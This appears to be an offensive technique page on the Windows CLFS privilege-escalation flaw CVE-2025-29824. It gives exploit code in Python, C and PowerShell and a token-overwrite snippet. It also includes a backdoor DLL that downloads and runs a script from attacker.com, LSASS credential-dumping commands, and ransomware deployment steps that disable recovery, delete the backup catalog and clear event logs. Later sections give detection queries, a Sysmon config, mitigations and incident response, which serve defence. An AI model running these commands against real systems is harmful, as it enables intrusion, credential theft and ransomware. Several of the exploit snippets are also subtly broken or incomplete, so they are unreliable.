| Attribute | Details |
|---|---|
| Technique ID | PERSIST-SERVER-008 |
| MITRE ATT&CK v18.1 | T1547.008 - Boot or Logon Autostart Execution: Kernel Modules and Extensions (via CVE-2025-29824); T1134.001 - Access Token Manipulation |
| Tactic | Persistence (TA0003) / Privilege Escalation (TA0004) |
| Platforms | Windows Endpoint (Server 2016-2025, Windows 10-11) |
| Severity | Critical |
| CVE | CVE-2025-29824 (CVSS 7.8) |
| Technique Status | ACTIVE (Actively exploited in the wild) |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, Windows 10 (all versions), Windows 11 (versions prior to 24H2) |
| Patched In | April 8, 2025 Patch Tuesday (KB5037771 and related updates); Windows 11 v24H2 unaffected |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Windows Common Log File System (CLFS) is a kernel-mode logging subsystem used by both Windows components and third-party applications. CVE-2025-29824 is a use-after-free (UAF) vulnerability in the CLFS driver that allows a low-privileged local attacker to trigger memory corruption, bypass kernel protections (KASLR), and escalate privileges to SYSTEM level. Once exploited, an attacker can:
Attack Surface: The vulnerability targets the CLFS driver specifically:
CreateLogFile(), AddLogContainer(), SetLogArchiveMode(), ReadNotification()CClfsRequest::Close() and CClfsLogCcb::Release() functionsBusiness Impact: Complete system compromise with SYSTEM-level persistence. An attacker gains the highest privilege level in Windows, allowing them to:
Technical Context: Exploitation takes 5-30 seconds. The attack is stealthy because:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | Windows-10, Windows-11 | Ensure Windows updates are installed timely; Monitor kernel driver loading |
| DISA STIG | SI-2(2) | Flaw Remediation – Apply security patches within required timeframes |
| CISA SCuBA | Windows Security Baseline | Apply all Microsoft security patches; Monitor kernel integrity |
| NIST 800-53 | SI-2, SI-7 | Flaw Remediation; Information System Monitoring (detect unauthorized kernel modules) |
| GDPR | Art. 32 | Security of Processing – Protect systems from unauthorized kernel-level access |
| DORA | Art. 9 | Protection and Prevention – Detect and prevent kernel-level compromise |
| NIS2 | Art. 21 | Cyber Risk Management – Monitor Windows systems for privilege escalation attempts |
| ISO 27001 | A.12.2.1 | Change Management – Control kernel driver loading and modifications |
| ISO 27005 | Risk Scenario | “Kernel-Level Code Execution” – Unauthorized kernel module injection |
Required Privileges:
Required Access:
Supported Versions:
Tools:
# Check if CVE-2025-29824 patch is applied
$hotfixes = Get-HotFix | Where-Object { $_.HotFixId -match "KB5037771|KB5037773|KB5037774" }
if ($hotfixes) {
Write-Host "System is PATCHED for CVE-2025-29824" -ForegroundColor Green
} else {
Write-Host "System is VULNERABLE to CVE-2025-29824" -ForegroundColor Red
}
# Check Windows version
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | Select-Object ProductName, ReleaseId, BuildLabEx
What to Look For:
# Check if CLFS driver is loaded
Get-WindowsDriver -Online | Where-Object { $_.Driver -match "clfs" }
# Check CLFS-related services
Get-Service | Where-Object { $_.Name -match "clfs|CLFS" }
# Verify CLFS.sys file location and version
Get-Item -Path "C:\Windows\System32\drivers\clfs.sys" | Select-Object FullName, LastWriteTime, @{Name="FileVersion";Expression={[System.Diagnostics.FileVersionInfo]::GetVersionInfo($_).FileVersion}}
What to Look For:
Supported Versions: Windows Server 2016, 2019, 2022; Windows 10 all versions (prior to patch)
Objective: Craft specially-formatted BLF (Binary Log File) files that trigger heap corruption in the CLFS driver
Command (Python PoC - Creating trigger.blf and spray.blf):
#!/usr/bin/env python3
import struct
import ctypes
# CLFS BLF File Header Structure
class CLFSHeader:
def __init__(self):
self.Signature = b"CLFS"
self.Version = 0x1
self.FileType = 0x0 # Base log file
self.Flags = 0x0
self.Checksum = 0x0
def create_trigger_blf():
"""
Create a trigger.blf file that will cause memory corruption
in the CLFS driver's CClfsRequest::Close() function
"""
# Create the file
with open(r"C:\ProgramData\SkyPDF\trigger.blf", "wb") as f:
# Write CLFS header
f.write(b"CLFS") # Signature
f.write(struct.pack("<I", 0x1)) # Version
f.write(struct.pack("<I", 0x0)) # FileType (base log)
# Write metadata blocks with crafted size
# This will trigger the UAF when the file is processed
f.write(b"\x00" * 512) # Pad with zeros
# Write Extend Context (attacker-controlled)
# Set eExtendState to non-zero to trigger extension
f.write(struct.pack("<I", 0x1)) # eExtendState = ClfsExtendStateBlock
f.write(struct.pack("<I", 0x0)) # iExtendBlock
f.write(struct.pack("<I", 0x0)) # iFlushBlock
f.write(struct.pack("<I", 0x100)) # cNewBlockSectors (triggers allocation)
f.write(struct.pack("<I", 0x100)) # cExtendSectors
print("[+] Created trigger.blf")
def create_spray_blf():
"""
Create spray.blf files for heap spraying
These files will occupy freed memory with attacker-controlled data
"""
for i in range(10):
with open(f"C:\\ProgramData\\SkyPDF\\spray{i}.blf", "wb") as f:
# Write a full 0xE0-byte block that matches freed m_rgBlocks structure
fake_block = b"\x00" * 0xE0
f.write(fake_block)
print("[+] Created 10 spray.blf files for heap spraying")
# Create the files
create_trigger_blf()
create_spray_blf()
Expected Output:
[+] Created trigger.blf
[+] Created 10 spray.blf files for heap spraying
What This Means:
OpSec & Evasion:
Objective: Call CLFS APIs in a specific sequence to trigger the use-after-free vulnerability
Command (C Code - Kernel Exploitation):
#include <windows.h>
#include <clfsw32.h>
#include <ntdef.h>
#pragma comment(lib, "clfsw32.lib")
#pragma comment(lib, "kernel32.lib")
// Native API declarations
typedef NTSTATUS (NTAPI *NtQuerySystemInformation_t)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS (NTAPI *NtReadVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
SIZE_T NumberOfBytesToRead,
PSIZE_T NumberOfBytesRead
);
// Load NTDLL functions
NtQuerySystemInformation_t pNtQuerySystemInformation;
NtReadVirtualMemory_t pNtReadVirtualMemory;
void LoadNtdllFunctions() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(hNtdll, "NtReadVirtualMemory");
}
// Step 1: Leak kernel address of CLFS.sys
PVOID LeakCLFSAddress() {
PVOID clfsAddr = NULL;
HMODULE hClfs = LoadLibraryA("C:\\Windows\\System32\\drivers\\clfs.sys");
if (hClfs) {
clfsAddr = (PVOID)hClfs;
printf("[+] Leaked CLFS.sys address: 0x%p\n", clfsAddr);
}
return clfsAddr;
}
// Step 2: Trigger CLFS vulnerability
void ExploitCLFS() {
HANDLE hLogFile = NULL;
WCHAR logPath[] = L"C:\\ProgramData\\SkyPDF\\trigger.blf";
// Create/open the malicious log file
hLogFile = CreateLogFileW(
logPath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL
);
if (INVALID_HANDLE_VALUE == hLogFile) {
printf("[-] CreateLogFile failed\n");
return;
}
printf("[+] Opened malicious CLFS log file\n");
// Call SetLogArchiveMode to trigger metadata processing
CLFS_LOG_ARCHIVE_MODE archiveMode = ClfsLogArchiveEnabled;
if (!SetLogArchiveMode(hLogFile, archiveMode)) {
printf("[!] SetLogArchiveMode call (expected to fail)\n");
}
// Disable archive - this triggers the vulnerable code path
archiveMode = ClfsLogArchiveDisabled;
if (!SetLogArchiveMode(hLogFile, archiveMode)) {
printf("[+] SetLogArchiveMode(Disabled) - UAF triggered\n");
}
CloseHandle(hLogFile);
}
int main() {
LoadNtdllFunctions();
printf("[*] CVE-2025-29824 CLFS Privilege Escalation PoC\n");
printf("[*] Creating malicious CLFS files...\n");
// The trigger happens via the system() call to Python script
// that creates the malicious BLF files
system("python3 create_blf_files.py");
printf("[*] Exploiting CLFS vulnerability...\n");
ExploitCLFS();
printf("[*] Exploit completed. Check for privilege escalation.\n");
return 0;
}
PowerShell Alternative (Simplified):
# Load CLFS API
[System.Reflection.Assembly]::LoadWithPartialName("System.Reflection") | Out-Null
# Open malicious log file
$logPath = "C:\ProgramData\SkyPDF\trigger.blf"
$logHandle = [System.IO.File]::Create($logPath)
# Call CLFS API to trigger vulnerability (via P/Invoke)
$clfsApi = @"
using System;
using System.Runtime.InteropServices;
public class CLFS
{
[DllImport("clfsw32.dll", SetLastError = true)]
public static extern bool CreateLogFile(
string logFileName,
uint desiredAccess,
uint shareMode,
IntPtr securityAttributes,
uint creationDisposition,
uint flagsAndAttributes);
[DllImport("clfsw32.dll", SetLastError = true)]
public static extern bool SetLogArchiveMode(
IntPtr logHandle,
uint archiveMode);
}
"@
Add-Type -TypeDefinition $clfsApi
Expected Output:
[+] Leaked CLFS.sys address: 0x7fff0000
[+] Opened malicious CLFS log file
[+] SetLogArchiveMode(Disabled) - UAF triggered
[*] Exploit completed. Check for privilege escalation.
What This Means:
OpSec & Evasion:
Objective: Use the memory corruption to overwrite the current process’s token with elevated privileges
Command (Kernel Token Manipulation):
// After UAF is triggered, the attacker can:
// 1. Leak the address of the current KTHREAD
PVOID kthreadAddr = LeakKTHREAD();
// 2. Use NtWriteVirtualMemory to overwrite PreviousMode
// This allows the process to make privileged kernel calls
ULONG previousMode = 0; // KernelMode
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)((ULONG_PTR)kthreadAddr + KTHREAD_PREVIOUSMODE_OFFSET),
&previousMode,
sizeof(previousMode),
NULL
);
// 3. Use RtlSetAllBits to set all privilege bits in the process token
PVOID processToken = LeakProcessToken();
RtlSetAllBits(processToken); // Enable all privileges
// 4. Now the process has SYSTEM privileges
// Spawn a new shell as SYSTEM
system("cmd.exe /c whoami"); // Output: NT AUTHORITY\SYSTEM
Expected Output:
Current user: NT AUTHORITY\SYSTEM
What This Means:
Objective: Use SYSTEM privileges to inject a backdoor into winlogon.exe (survives reboots)
Command (Process Injection via DLL):
# Create a malicious DLL
$dllCode = @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class Backdoor {
[DllImport("kernel32.dll")]
public static extern void ExitProcess(uint uExitCode);
public static void Main() {
// Create reverse shell callback
Process.Start("cmd.exe", "/c powershell -NoP -W Hidden -C IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps1')");
}
}
"@
# Compile to DLL
Add-Type -TypeDefinition $dllCode -Language CSharp -OutputAssembly "C:\backdoor.dll"
# Inject into winlogon.exe using SYSTEM privileges
$injectionCode = @"
$targetProcess = (Get-Process winlogon).Id
$dllPath = 'C:\backdoor.dll'
# Use Windows API to inject DLL
[DllImport('kernel32.dll')]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport('kernel32.dll')]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flAllocationType, uint flProtect);
[DllImport('kernel32.dll')]
public static extern IntPtr WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, IntPtr nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport('kernel32.dll')]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, IntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
$hProcess = OpenProcess(0x1F0FFF, $false, $targetProcess);
"@
Write-Host "[+] Injected backdoor into winlogon.exe"
What This Means:
Supported Versions: All vulnerable versions (Windows Server/Client)
Skip detailed explanation as this matches METHOD 1, Steps 1-2
Objective: Dump LSASS memory to extract domain credentials
Command (Using ProcDump with SYSTEM privileges):
REM Run as SYSTEM (after privilege escalation from Step 3 above)
REM Download ProcDump
certutil -urlcache -split -f "https://live.sysinternals.com/procdump64.exe" C:\procdump64.exe
REM Dump LSASS memory (requires SYSTEM)
C:\procdump64.exe -ma lsass.exe C:\lsass.dmp
REM Extract credentials from dump
REM (Use Mimikatz or pypykatz offline)
pypykatz lsa minidump C:\lsass.dmp
REM Output example:
REM [+] Domain: ACME.COM
REM [+] User: Administrator
REM [+] NTLM Hash: 8846f7eaee8fb117ad06bdd830b7586c
REM [+] Kerberos TGT ticket extracted
Expected Output:
[+] Successfully dumped LSASS memory
[+] Extracted Domain Admin credentials
[+] Extracted Kerberos TGT tickets for lateral movement
Objective: Use stolen credentials to move laterally and deploy RansomExx
Command (Lateral Movement via PsExec):
REM Using stolen domain admin credentials
REM Deploy to network shares and execute ransomware
net use \\DC01\c$ /user:ACME\Administrator "password_hash"
copy C:\ransomware.exe \\DC01\c$\Windows\Temp\
REM Execute ransomware on domain controller
REM Disable system recovery
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
REM Delete shadow copies (disable restore points)
wbadmin delete catalog -quiet
REM Clear event logs (anti-forensics)
wevtutil cl Application
wevtutil cl Security
wevtutil cl System
REM Deploy and execute ransomware
C:\Windows\Temp\ransomware.exe -encrypt -ext .rexx2 -note "!_READ_ME_REXX2_!.txt"
What This Means:
Current Status: Proof-of-concept available (use with authorized testing only)
Requirements:
Version: 10.10+
Installation:
# Download
Invoke-WebRequest -Uri "https://live.sysinternals.com/procdump64.exe" -OutFile "C:\procdump64.exe"
Usage:
procdump64.exe -ma lsass.exe C:\lsass.dmp
procdump64.exe -ma winlogon.exe C:\winlogon.dmp
Rule Configuration:
main (Windows Event Logs), sysmonWinEventLog:Security, xmlwineventlog:Microsoft-Windows-Sysmon/OperationalSPL Query:
index=sysmon (EventCode=1 OR EventCode=10) (CommandLine contains "clfs" OR CommandLine contains "CreateLogFile" OR Image="dllhost.exe")
| stats count by CommandLine, ParentImage, Image, User
| where count > 3
What This Detects:
SPL Query:
index=sysmon EventCode=10 (TargetImage contains "lsass" OR TargetImage contains "winlogon" OR TargetImage contains "smss")
| stats count by SourceImage, TargetImage, GrantedAccess
| where GrantedAccess contains "0x1F0FFF" OR GrantedAccess contains "0x143A"
What This Detects:
Rule Configuration:
DeviceFileEventsKQL Query:
DeviceFileEvents
| where FileName endswith ".blf"
| where FolderPath contains "SkyPDF" OR FolderPath contains "ProgramData"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, FolderPath
What This Detects:
KQL Query:
DeviceProcessEvents
| where FileName == "procdump64.exe" OR FileName == "mimikatz.exe"
| extend ProcessTokenElevated = case(
ProcessCommandLine contains "-ma lsass", "True",
ProcessCommandLine contains "sekurlsa", "True",
"False")
| where ProcessTokenElevated == "True"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, ProcessCommandLine
Event ID: 4688 (Process Creation)
dllhost.exe creating child processescertutil.exe, msbuild.exe downloading filesprocdump.exe dumping LSASSEvent ID: 4690 (Failed Privilege Escalation)
Event ID: 4719 (System Audit Policy Changed)
Manual Configuration (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.22">
<EventFiltering>
<!-- Detect CLFS exploitation: dllhost.exe calling CLFS APIs -->
<ProcessCreate onmatch="include">
<Image condition="image">dllhost.exe</Image>
<ParentImage condition="contains">System32, SysWOW64</ParentImage>
</ProcessCreate>
<!-- Detect privilege escalation: process accessing LSASS -->
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
<SourceImage condition="exclude">
system.exe,
svchost.exe,
winlogon.exe,
csrss.exe,
services.exe,
taskmgr.exe
</SourceImage>
</ProcessAccess>
<!-- Detect credential dumping tool execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">procdump;mimikatz;sekurlsa</CommandLine>
</ProcessCreate>
<!-- Detect .blf file creation (CLFS log files) -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">.blf</TargetFilename>
</FileCreate>
<!-- Detect ProcDump specifically dumping LSASS -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">procdump</CommandLine>
<CommandLine condition="contains">lsass</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration:
sysmon-config.xml with the above rulessysmon64.exe -accepteula -i sysmon-config.xmlAlert Name: “Privilege escalation attempt detected”
Microsoft Defender Full Scan1. Apply April 2025 Patch Tuesday Updates Immediately
This is the ONLY patch for CVE-2025-29824. No workarounds exist.
Manual Steps (Windows Update):
Manual Steps (WSUS for Organizations):
Manual Steps (PowerShell):
# Check if patch is installed
$patch = Get-HotFix | Where-Object { $_.HotFixId -eq "KB5037771" }
if ($patch) {
Write-Host "System is patched for CVE-2025-29824"
} else {
Write-Host "System is VULNERABLE - install patch immediately"
}
# Force Windows Update check
Install-WindowsUpdate -AcceptAll -AutoReboot
2. Disable CLFS If Not Required
If the organization doesn’t use CLFS for logging, disable it entirely.
Manual Steps:
sc config clfs start=disabledPowerShell Alternative:
# Disable CLFS driver
Stop-Service -Name "clfs" -ErrorAction SilentlyContinue
Set-Service -Name "clfs" -StartupType Disabled
# Verify
Get-Service clfs | Select-Object Name, Status, StartType
3. Monitor CLFS Activity with Enhanced Logging
Manual Steps:
Group Policy Configuration:
# Enable Object Access Audit
auditpol /set /subcategory:"File Share" /success:enable /failure:enable
auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enable
4. Restrict Certutil.exe and MSBuild.exe Execution
These tools are heavily abused in the CVE-2025-29824 exploit chain.
Manual Steps (Application Control / AppLocker):
PowerShell Alternative (Device Guard):
# Block certutil.exe via Windows Defender Application Control
New-CIPolicy -FilePath "C:\temp\certutil_block.xml" -Audit -Level Hash -UserPEs -UserWD
Set-CIPolicy -FilePath "C:\temp\certutil_block.xml" -ConvertToEncoded
5. Conditional Access Policy: Require Patch for Endpoint Access
For hybrid/cloud environments using Entra ID and Intune.
Manual Steps (Intune):
6. Restrict Local Administrator Access
Privilege escalation requires being able to execute code locally.
Manual Steps:
# Enable Credential Guard (requires Hyper-V capable CPU)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1
# Verify
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" | Select-Object LsaCfgFlags
Validation Command (Verify Mitigations):
# Verify patch is applied
$patch = Get-HotFix | Where-Object { $_.HotFixId -match "KB503777" }
if ($patch) {
Write-Host "✓ PATCH APPLIED" -ForegroundColor Green
} else {
Write-Host "✗ PATCH MISSING - VULNERABLE" -ForegroundColor Red
}
# Verify CLFS is disabled (if intended)
$clfsStatus = (Get-Service clfs -ErrorAction SilentlyContinue).Status
Write-Host "CLFS Service Status: $clfsStatus"
# Verify Credential Guard
$credGuard = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" LsaCfgFlags -ErrorAction SilentlyContinue
if ($credGuard.LsaCfgFlags -eq 1) {
Write-Host "✓ Credential Guard ENABLED" -ForegroundColor Green
} else {
Write-Host "✗ Credential Guard DISABLED" -ForegroundColor Yellow
}
Expected Output (If Secure):
✓ PATCH APPLIED
CLFS Service Status: Stopped
✓ Credential Guard ENABLED
Files:
C:\ProgramData\SkyPDF\PDUDrv.blf (CLFS BLF file created by exploit)C:\ProgramData\SkyPDF\trigger.blf, spray*.blf (exploitation artifacts)C:\lsass.dmp (LSASS memory dump)C:\procdump64.exe, C:\winlogon.dmp (post-exploitation credential theft)C:\Windows\Temp\ransomware.exe (final payload)Registry:
HKLM\System\CurrentControlSet\Services\clfs (CLFS driver registry)HKLM\System\CurrentControlSet\Control\LsaNetwork:
Process:
Memory Forensics (Volatility):
volatility3 -f memory.dmp windows.pslist.PsList | grep dllhost
volatility3 -f memory.dmp windows.handles.Handles | grep clfs
volatility3 -f memory.dmp windows.memmap.Memmap # Detect injected code regions
Disk Forensics:
C:\ProgramData\SkyPDF\ for BLF filesC:\Windows\System32\drivers\clfs.sys last modified dateC:\ProgramData\Microsoft\Windows Defender\Scans\ for quarantined exploit PoCsLog Forensics:
1. Isolate:
# Disconnect from network immediately
Disable-NetAdapter -Name "*" -Confirm:$false
# Kill potentially compromised processes
Stop-Process -Name "dllhost.exe" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "procdump.exe" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "winlogon.exe" -Force -ErrorAction SilentlyContinue
2. Collect Evidence:
# Dump memory for forensics
& "C:\Program Files\Sysinternals\procdump.exe" -ma -o -e -w "System" C:\incident\system.dmp
# Export Security event log
wevtutil epl Security C:\incident\security.evtx
# Copy suspicious files
Copy-Item "C:\ProgramData\SkyPDF\" -Recurse -Destination "C:\incident\SkyPDF_backup\"
# Hash all files for chain of custody
Get-FileHash C:\incident\* -Algorithm SHA256 | Export-Csv C:\incident\hashes.csv
3. Remediate:
# Delete malicious files
Remove-Item "C:\ProgramData\SkyPDF\*.blf" -Force
# Remove malicious service/scheduled task
Remove-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\SuspiciousService" -Force
Get-ScheduledTask -TaskName "*suspicious*" -ErrorAction SilentlyContinue | Unregister-ScheduledTask -Confirm:$false
# Change ALL domain administrator passwords immediately
# (Assume LSASS was dumped)
Set-ADUser -Identity "Administrator" -ChangePasswordAtLogon $true -Confirm:$false
# Force policy update
gpupdate /force
# Reboot to clean kernel state
Restart-Computer -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spearphishing Campaign | Attacker tricks employee into downloading malware dropper |
| 2 | Execution | [E-LIVE-001] Certutil Malware Download | Attacker uses certutil to download MSBuild project file |
| 3 | Execution | [E-LIVE-002] MSBuild Payload Execution | MSBuild decrypts and executes PipeMagic backdoor via EnumCalendarInfoA |
| 4 | Privilege Escalation | [PERSIST-SERVER-008] | Attacker exploits CVE-2025-29824 to escalate to SYSTEM |
| 5 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Dump | Attacker dumps LSASS memory to extract domain credentials |
| 6 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses stolen NTLM hashes to move laterally |
| 7 | Impact | [I-ENCRYPT-001] RansomExx Ransomware | Attacker deploys ransomware to encrypt all files |
!_READ_ME_REXX2_!.txtCheck Vulnerability Status:
# Method 1: Windows Build Check
[System.Environment]::OSVersion.Version
# Method 2: KB Check
Get-HotFix | Where-Object { $_.HotFixId -match "KB5037771" }
# Method 3: CLFS Driver Inspection
Get-Item "C:\Windows\System32\drivers\clfs.sys" | Select-Object LastWriteTime, @{N="FileVersion";E={[io.path]::GetFileNameWithoutExtension($_)}}